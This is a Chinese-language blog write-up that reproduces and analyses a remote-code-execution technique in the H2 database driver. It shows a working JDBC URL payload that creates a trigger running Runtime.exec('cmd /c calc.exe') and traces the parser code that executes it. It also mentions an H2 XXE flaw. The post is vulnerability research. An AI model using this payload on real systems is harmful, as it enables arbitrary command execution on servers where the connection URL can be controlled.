前言  No!
 
 
环境搭建 IDEA新开个项目,直接从maven仓库里面复制配置过来安装h2依赖:
1 2 3 4 5 6 7 <dependency >      <groupId > com.h2database</groupId >      <artifactId > h2</artifactId >      <version > 2.0.204</version >      <scope > test</scope > </dependency > 
 
然后写个简单的代码先测试一下:
1 2 3 4 5 6 7 8 9 String  DRIVER_CLASS  =  "org.h2.Driver" ;String  JDBC_URL  =  "" ;Properties  info  =  null ;try  {     Class.forName(DRIVER_CLASS);     Connection  conn  =  DriverManager.getDriver(DRIVER_CLASS).connect(JDBC_URL, info); }catch  (ClassNotFoundException | SQLException e) {     e.printStackTrace(); }
 
发现:
1 java.lang .ClassNotFoundException : org.h2 .Driver
 
回头看发现maven中配置的h2作用域为test,把这一行删掉再来:
1 java.sql .SQLException: No  suitable driver
 
跟一下调用栈,问题出在h2驱动类org.h2.Driver的acceptsURL函数:
1 2 3 4 5 else  if  (var1.startsWith("jdbc:h2:" )) {     return  true ; } else  if  (var1.equals("jdbc:default:connection" )) {     return  DEFAULT_CONNECTION.get() != null ; }
 
简单来说就是DRIVER_CLASS不符合格式,再改改代码里面的DRIVER_CLASS,反正只是用来选择驱动不涉及后面的操作,直接用参考文章中的攻击代码试试:
1 2 3 4 5 6 7 8 9 10 11 12 String  DRIVER_CLASS  =  "org.h2.Driver" ;String  JDBC_URL  =  "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n"  +     "INFORMATION_SCHEMA.TABLES AS $$//javascript\n"  +     "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n"  +     "$$\n" ;;Properties  info  =  null ;try  {     Class.forName(DRIVER_CLASS);     DriverManager.getDriver(JDBC_URL).connect(JDBC_URL, info); }catch  (ClassNotFoundException | SQLException e) {     e.printStackTrace(); }
 
结果:
攻击流程分析 很明显问题出在connect函数中,估计是因为执行查询时可以使用一些能直接执行代码的特殊语法:
1 2 3 4 5 6 7 8 9 public  Connection connect (String var1, Properties var2)  throws  SQLException {     if  (var1 == null ) {         ...     } else  if  (var1.startsWith("jdbc:h2:" )) {         return  new  JdbcConnection (var1, var2, (String)null , (Object)null );     } else  {         return  var1.equals("jdbc:default:connection" ) ? (Connection)DEFAULT_CONNECTION.get() : null ;     } }
 
实例化了一个JdbcConnection对象,后面会解析SQL命令,遇到create命令时:
1 2 3 4 5 case  'C' :if  (readIf("COMMIT" )) {     c = parseCommit(); } else  if  (readIf("CREATE" )) {     c = parseCreate();
 
会调用parseCreate函数:
1 2 3 else  if  (readIf("TRIGGER" )) {     return  parseCreateTrigger(force); }
 
又遇到关键词TRIGGER时会调用parseCreateTrigger函数,在解析完TRIGGER相关的triggerName、触发时间点、操作类型、SchemaName、tableName等数据后,当存在as关键词时会开始解析TriggerSource:
1 2 3 if  (readIf(AS)) {     command.setTriggerSource(readString()); }
 
回头看看攻击所用的TRIGGER的语句,简单来说就是在对INFORMATION_SCHEMA.TABLES这张表进行select操作之前就会触发这个TriggerSource操作,即:
1 //javascript java.lang.Runtime.getRuntime().exec ('cmd /c calc.exe' )
 
然后更新该Trigger,跟踪执行流程,会发现此时h2驱动会执行TriggerSource,然后从中取出一个Trigger对象作为triggerCallback,在后面触发操作时使用。一步步跟到TriggerObject类的loadFromSource函数中:
1 2 3 4 5 6 7 8 9 10 11 try  {     if  (SourceCompiler.isJavaxScriptSource(triggerSource)) {         return  (Trigger) compiler.getCompiledScript(fullClassName).eval();     } else  {         final  Method  m  =  compiler.getMethod(fullClassName);         if  (m.getParameterTypes().length > 0 ) {             throw  new  IllegalStateException ("No parameters are allowed for a trigger" );         }         return  (Trigger) m.invoke(null );     } }
 
首先调用isJavaxScriptSource函数判断代码类型:
1 2 3 4 5 6 7 public  static  boolean  isJavaxScriptSource (String source)  {     return  isJavascriptSource(source) || isRubySource(source); }private  static  boolean  isJavascriptSource (String source)  {     return  source.startsWith("//javascript" ); }
 
即将//javascript开头的当作JavaScript代码,然后获取对应的编译器编译执行。
总结 总结起来就是,在JDBC驱动和连接所用URL可控的情况下发起连接会导致RCE。
后记 在maven仓库搜索h2包时,看到了有趣的东西:
1.4.200及之前版本的h2中存在一个XXE漏洞,其描述如下:
1 The package com.h2database:h2 from  0  and  before 2.0 .202  are vulnerable to  XML External  Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class  object, when it receives parsed string data from  org.h2.jdbc.JdbcResultSet.getSQLXML() method . If  it executes the getSource() method  when  the  parameter  is  DOMSource .class  it  will  trigger  the  vulnerability .
 
懒得复现了,就这样留个坑吧。
 
参考文章 https://xz.aliyun.com/t/10656 
https://www.cnblogs.com/liuqiyun/p/8603088.html